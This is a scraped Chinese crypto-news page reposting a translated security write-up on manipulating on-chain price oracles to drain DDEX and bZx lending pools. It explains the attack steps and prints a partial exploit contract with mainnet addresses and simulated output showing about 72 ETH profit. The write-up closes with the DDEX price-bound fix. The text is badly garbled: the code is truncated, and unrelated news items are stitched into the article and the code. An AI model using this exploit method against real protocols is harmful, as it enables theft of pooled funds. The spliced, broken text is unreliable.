以太坊交易所 以太坊交易所
Ctrl+D 以太坊交易所
ads

通過操控抵押品價格預言機牟利_ICE:PRI

Author:

Time:1900/1/1 0:00:00

譯文出自:登鏈翻譯計劃

譯者:翻譯小組

校對:Tiny熊

太長不看版

因依賴鏈上去中心化的價格預言而不驗證返回的價格,DDEX和bZx容易受到價格操縱攻擊。這導致DDEX的ETH/DAI市場損失ETH流動性,以及bZx中所有損失流動性資金,在本文中,將介紹價格操縱攻擊的原理、如何實施的攻擊、以及如何應對。

什么是去中心化貸款?

首先,讓我們談談傳統貸款。貸款時,通常需要提供某種抵押品,這樣,如果你拖欠貸款,貸方便可以扣留抵押品。為了確定你需要提供多少抵押品,貸方通常會知道或能夠可靠地計算出抵押品的公平市場價值(FMV)。

在去中心化貸款中,除了貸方現在是與外界隔離的智能合約之外,其他過程相同。這意味著它不能簡單地“知道”你提供的任何抵押品的FMV。

為了解決此問題,開發人員指示智能合約查詢價格預言機,該預言機接受代幣地址并返回對應計價貨幣(例如ETH或USD)的當前價格。不同的DeFi項目采用了不同的方法來實現此預言機,但通常可以將它們全部歸類為以下五種方式之一(盡管某些實現比其他實現更模糊):

鏈下中心化預言機這種類型的預言機只接受來自鏈下價格來源的新價格,通常來自項目控制的帳戶。由于需要使用新匯率快速通知更新預言機,因此該帳戶通常是EOA,而不是多簽錢包。可能需要進行一些合理的檢查,以確保價格波動不會太大。Compound和Synthetix的大多數資產使用這種類型的預言機。

Aave投票通過并執行“向AIP提案者返還gas消耗”的提案:7月10日消息,Aave社區已通過并執行了一項關于”向受認可的AIP提案者返還gas消耗”的提案。該提案認為,隨著以太坊gas費的不斷上漲,社區代表的鏈上治理成本也在成比例增加,因此建議向那些受認可的AIP治理提案的發起者返還gas費用。[2023/7/10 10:45:54]

鏈下去中心化預言機這種預言機從多個鏈下來源接受新價格,并通過數學函數(例如平均值)合并這些值。在此模型中,通常使用多簽名錢包來管理授權價格源列表。Maker針對ETH和其他資產使用這種類型的預言機。

鏈上中心化預言機這種類型的預言機使用鏈上價格來源(例如DEX)確定資產價格。但是,只有授權賬號才能觸發預言機從鏈上源讀取。像鏈下中心化預言機一樣,這種類型的預言機需要快速更新,因此授權觸發帳戶可能是EOA而不是多簽錢包。dYdX和Nuo針對一些資產使用這種類型的預言機。

鏈上去中心化預言機這種預言機使用鏈上價格來源確定資產價格,但是任何人都可以更新。可能需要進行一些合理檢查,以確保價格波動不會太大。DDEX將這種類型的預言機用于DAI,而bZx對所有資產使用這種類型的預言機。

常量預言機這種類型的預言機簡單地返回一個常數,通常用于穩定幣。由于USDC釘住美元,因此上述幾乎所有項目都將這種類型的預言機用于USDC。

問題

在尋找其他易受攻擊的項目時,我看到了這條推文:

通過Avalanche Bridge跨鏈至Avalanche的比特幣數量突破5000枚:1月14日消息,據Snowtrace數據顯示,通過Avalanche Bridge跨鏈至Avalanche的比特幣(BTC.b)數量突破5000枚,目前約為5077.84枚,價值約1.06億美元。

此前報道,Avalanche上比特幣封裝資產BTC.b利用互操作性協議LayerZero全鏈可替代代幣OFT(Omini chain Fungible Token)標準支持在以太坊、Polygon、Arbitrum、Aptos等區塊鏈上進行跨鏈轉移。[2023/1/15 11:12:31]

老實說,我擔心他們會將其用作價格喂價源。如果我的預感是正確的,那很容易受到攻擊。

—Vitalik非以太贈予者(uint256eth2daiPrice=getEth2DaiPrice();if(eth2daiPrice>0){_price=makerDaoPrice

uint256uniswapPrice=getUniswapPrice();if(uniswapPrice>0){_price=makerDaoPrice

return_price;}functiongetEth2DaiPrice()publicviewreturns(uint256){if(Eth2Dai

uint256bidDai=Eth2Dai

美國參議院通過1.9萬億新冠救助法案修正案:據美國《國會山報》消息,當地時間6日凌晨,參議院民主黨人投票通過1.9萬億新冠救濟法案修正案,規定將在9月初之前每周發放300美元的臨時聯邦失業救濟金。報道稱,當天,所有50名民主黨參議員都投票支持該修正案,而每個參加投票的共和黨人都投了反對票。[2021/3/6 18:21:14]

else{returnbidPrice

}functiongetUniswapPrice()publicviewreturns(uint256){uint256ethAmount=UNISWAP

else{returnuniswapPrice;}}functiongetMakerDaoPrice()publicviewreturns(uint256){(bytes32value,boolhas)=makerDaoOracle

else{return0;}}

參考源碼

為了觸發更新并使預言機刷新其存儲的值,用戶只需調用updatePrice()即可。

functionupdatePrice()publicreturns(bool){uint256_price=peek();if(_price!=0){price=_price;emitUpdatePrice(price);returntrue;}else{returnfalse;}}

歷史上的今天丨海南通過數字加密、區塊鏈等,引入監管沙盒模式:2019年12月3日,在海南國際離岸創新創業示范區建設暨區塊鏈·數字資產交易技術創新高端論壇上,海南省地方金融監督管理局局長陳陽表示,海南將借鑒國際金融監管經驗,建立容錯機制,在努力營造寬松有序的經商環境同時,堅守金融風險底線,通過數字加密、區塊鏈等模式,引入監管沙盒模式。[2020/12/3 23:01:28]

參考源碼

攻擊原理

假設我們可以操縱DAI/USD的價格表現。如果是這種情況,我們希望使用它借用系統中的所有ETH,同時提供盡可能少的DAI。為此,我們可以降低ETH/USD的表現價格或增加DAI/USD的表現價格。由于我們已經假設DAI/USD的表現價值是可操縱的,因此我們選擇后者。

為了增加DAI/USD的表現價格,我們可以增加ETH/USD的表現價格,或者降低ETH/DAI的表現價格。基于當前意圖和目的,操縱Maker的預言是不可能的,因此我們將嘗試降低ETH/DAI的表現價值。

編者注,因為DAI/USD價格=ETH/USD價格÷ETH/DAI價格

預言機通過Eth2Dai取當前要價和當前出價的平均值來計算ETH/DAI的值。為了降低此值,我們需要通過填充現有訂單來降低當前出價,然后通過下新訂單來降低當前要價。

但是,這需要大量的初始投資(因為我們需要先填寫訂單,然后再生成相等數量的訂單),并且實施起來并不容易。另一方面,我們可以通過在Uniswap大量交易DAI來影響Uniswap中的價格。因此,我們的目標是繞過Eth2Dai邏輯并操縱Uniswap價格。

波卡周報:增加驗證人數量公投未通過 網絡已升級至runtime v23:9月20日,波卡Polkadot官方社區PolkaWorld發布波卡周報。主要內容有:

1.波卡2號公投,即將使驗證人數量從197人增加到236人未獲通過。

2.Polkadot網絡已于9月17日升級到runtime v23。若用Ledger有問題,這很可能是由于升級,官方目前正在修復相關問題。

3.第一批申請波卡財政的團隊包括Patract Labs、Centrifuge、Polkascan和Encointer。

4.在驗證人被超額認購之前,波卡上提名人的最大數量增加到了256人,Kusama是128人。這次的更改升級將在下一個runtime看到。

5.Polkadot版本0.8.24已于9月18日發布。該版本對即將到來的runtime v24提供了本地支持。[2020/9/21]

為了繞過Eth2Dai,我們需要控制價格的波動幅度。我們可以通過以下兩種方式之一進行操作:

清除訂單的一側,而保留另一側。這導致價差正增長

通過列出極端的買入或賣出訂單來強制執行交叉的訂單。這會導致利差下降。

盡管選項2不會因不利訂單而造成任何損失,但SafeMath不允許使用交叉訂單,因此我們無法使用。相反,我們會通過清除訂單的一側來強制產生較大的正價差。這將導致DAI預言機回退到Uniswap來確定DAI的價格。然后,我們可以通過購買大量DAI來降低DAI/ETH的Uniswap價格。一旦操縱了DAI/USD的表現價值,便像往常一樣借貸很簡單。

攻擊演示

以下腳本將通過以下方式獲利約70ETH:

清除Eth2Dai的賣單,直到價差足夠大,以致預言機拒絕價格

從Uniswap購買更多DAI,價格從213DAI/ETH降至13DAI/ETH

用少量DAI(?2500)借出所有可用ETH(?120)

將我們從Uniswap購買的DAI賣回Uniswap

將我們從Eth2Dai購買的DAI賣回Eth2Dai

重置預言機(不想讓其他人濫用我們的優惠價格)

contractDDEXExploitisScript,Constants,TokenHelper{OracleLikeprivateconstantETH_ORACLE=OracleLike(0x8984F1CFf1d614a7404b0cfE97C6fa9110b93Bd2);DaiOracleLikeprivateconstantDAI_ORACLE=DaiOracleLike(0xeB1f1A285fee2AB60D2910F2786E1D036E09EAA8);ERC20LikeprivateconstantHYDRO_ETH=ERC20Like(0x000000000000000000000000000000000000000E);HydroLikeprivateconstantHYDRO=HydroLike(0x241e82C79452F51fbfc89Fac6d912e021dB1a3B7);uint16privateconstantETHDAI_MARKET_ID=1;uintprivateconstantINITIAL_BALANCE=25000ether;functionsetup()public{name("ddex-exploit");blockNumber(8572000);}functionrun()public{begin("exploit")

functioncheckRates()external{uintethPrice=ETH_ORACLE

uintprivateboughtFromMatchingMarket=0;functionskewRates()external{skewUniswapPrice();skewMatchingMarket();require(DAI_ORACLE

functionskewUniswapPrice()internal{DAI

functionskewMatchingMarket()internal{uintstart=DAI

boughtFromMatchingMarket=DAI

functionsteal()external{HydroLike

functioncleanup()external{DAI

functioncheckProfits()external{printf("profits=%

}/*###runningscript"ddex-exploit"atblock8572000####executingstep:exploit#####calling:checkRates()eth=213.440000000000000000dai=1.003140638067989051#####calling:skewRates()#####calling:checkRates()eth=213.440000000000000000dai=16.058419875880325580#####calling:steal()ethWanted=122.103009983203364425daiNeeded=2435.392672403537525078#####calling:cleanup()#####calling:checkProfits()profits=72.140629996890984407####finishedexecutingstep:exploit*/

解決方案

DDEX團隊通過部署新的預言機解決了此問題這對DAI的價格設置了合約價格界限,目前將其設置為0.95和1.05。

本文來源于非小號媒體平臺:

登鏈社區

現已在非小號資訊平臺發布105篇作品,

非小號開放平臺歡迎幣圈作者入駐

入駐指南:

/apply_guide/

本文網址:

/news/9559363.html

免責聲明:

1.資訊內容不構成投資建議,投資者應獨立決策并自行承擔風險

2.本文版權歸屬原作所有,僅代表作者本人觀點,不代表非小號的觀點或立場

上一篇:

幣安為何推出第三條鏈?這對BNB意味著什么?

Tags:DAIETHPRIICERDAIETHA幣上主網primordialplanetcoinflokiceo幣怎么樣

以太坊交易
亞投所:IACN投顧鏈發行方案和流通與回收_ACN:TOKE

亞投所IACN投顧鏈發行方案IACN發行總量恒定為10億個,且保證永不增發。發行方案如下:1、市場眾籌母幣:1%,1000萬枚。2、生態挖礦:99%,99000萬枚.

1900/1/1 0:00:00
Gate.io 將上線 Tokenlon (LON) 交易的公告_GAT:Gate.io

Gate.io將于2020年12月23日14:00上線Tokenlon(LON)交易。Tokenlon是基于區塊鏈網絡實現的去中心化交易支付結算協議.

1900/1/1 0:00:00
Filecoin哪里值得投資?_OIN:COIN

Filecoin是一個去中心化的存儲網絡,它是運行在IPFS上的激勵層,通過區塊鏈的Token激勵模型讓全球更多的礦工參與到filecoin網絡中,為用戶提供分布式存儲和檢索服務.

1900/1/1 0:00:00
Hotbit 定于12月22日上線 MXC (Machine Xchange Coin)_OTB:BIT

尊敬的用戶: Hotbit即將開啟MXC(MachineXchangeCoin)數字資產服務,并開放MXC理財產品。預計年化收益:10%;計息:T1.

1900/1/1 0:00:00
Filecoin 經濟模型GAS機制:天價燃料費GAS該怎么應對?_FILE:GAS

燃料費用高昂,老礦工無奈紛紛停工,趁這個時機調整一下礦池,但擋不住新進礦工的涌入,繼續推高Gas費用.

1900/1/1 0:00:00
取消時空證明Gas費,挖礦成本降了多少?_GAS:OIN

12月17日,Filecoin官方根據FIP-0009提案,發布了Lotusv1.3.0版本,這次升級主要免除成功提交時空證明消息的基本費用。這在一定程度上,可以降低礦工維護算力和挖礦的成本.

1900/1/1 0:00:00
ads